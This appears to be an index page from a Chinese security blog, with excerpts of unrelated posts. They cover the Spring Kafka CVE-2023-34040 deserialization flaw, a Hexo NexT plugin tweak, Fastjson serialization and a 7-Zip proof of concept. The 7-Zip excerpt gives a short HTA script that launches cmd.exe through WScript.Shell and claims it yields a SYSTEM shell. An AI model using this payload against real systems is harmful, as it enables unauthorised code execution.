0%

Spring Kafka消息头反序列化漏洞(CVE-2023-34040)

产品介绍

Spring for Apache Kafka (Spring - Kafka)项目将Spring的核心概念应用于基于Kafka的消息传递解决方案的开发。它提供了一个“template”作为发送消息的高级抽象。它还支持带有@KafkaListener注解和“listener container”的消息驱动POJOs 。这些库提倡使用依赖注入和声明式的使用方式。所有这些例子都与Spring框架的JMS支持和Spring AMQP对RabbitMQ的支持有相似之处。

漏洞概述

当Kafka应用服务器允许一个不受信任的源的生产消息的时候,若其能够控制消息的headers,则可能导致一个反序列化漏洞的发生。

阅读全文 »

找到安装的hexo-next-title hexo-next-share hexo-next-exif hexo-next-utteranc等插件的安装目录 在其目录下找到node_modules目录
观察是否存在 next-util 目录,若存在打开该目录中的index.js进行修改
注释调添加的before_generate过滤器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
'use strict';

const yaml = require('js-yaml');
const fs = require('fs');
const path = require('path');
const { merge } = require('lodash');

module.exports = function(hexo, pluginDir) {
hexo.extend.filter.register('before_generate', function err() {
//hexo.log.warn(`The upstream repository of theme NexT has been changed.`);
//hexo.log.warn(`For more information: https://github.com/next-theme/hexo-theme-next`);
//hexo.log.warn(`Documentation: https://theme-next.js.org`);
});
this.hexo = hexo;
this.pluginDir = pluginDir;
this.getFilePath = function(file) {
return this.pluginDir ? path.resolve(this.pluginDir, file) : file;
};
this.getFileContent = function(file) {
return fs.readFileSync(this.getFilePath(file), 'utf8');
};
this.defaultConfigFile = function(key, file) {
const defaultConfig = file ? yaml.safeLoad(this.getFileContent(file)) : {};
this.hexo.config[key] = merge(defaultConfig[key], this.hexo.theme.config[key], this.hexo.config[key]);
return this.hexo.config[key];
};
};

这玩意儿很简单,原理不清楚,不过7-zip官方并不承认这个漏洞,他们说这个洞是微软的锅,不过我看也确实是。

1
2
3
4
5
6
7
8
9
<html>
<head>
<HTA:APPLICATION ID="7zipcodeexec">
<script language="jscript">
var c = "cmd.exe";
new ActiveXObject('WScript.Shell').Run(c);
</script>
<head>
<html>

找个文本文件把上面的内容写进去,然后讲后缀名改为7z。然后讲这个文件拖动到7zip的helper窗口中就会弹出DOS窗口,查看当前权限可以看到为system权限

@TOC

我们知道Fastjson在进行序列化的时候会调用当前类的所有getter方法去获取所有public成员变量的值,像这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package com.armandhe.javabase;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class FastjsonTest {
public static void main(String[] args) {
FastjsonUnserilizeTest fastjsonUnserilizeTest = new FastjsonUnserilizeTest();
// fastjsonUnserilizeTest.setAge(20);
// fastjsonUnserilizeTest.setName("armandhenewpy");
String s = JSON.toJSONString(fastjsonUnserilizeTest, SerializerFeature.WriteClassName);
System.out.println(s);
// String s1 = "{\"@type\":\"com.armandhe.javabase.FastjsonUnserilizeTest\",\"age\":20,\"name\":\"armandhenewpy\"}";
// JSONObject jsonObject = JSON.parseObject(s1);
// System.out.println(jsonObject);
}
}
阅读全文 »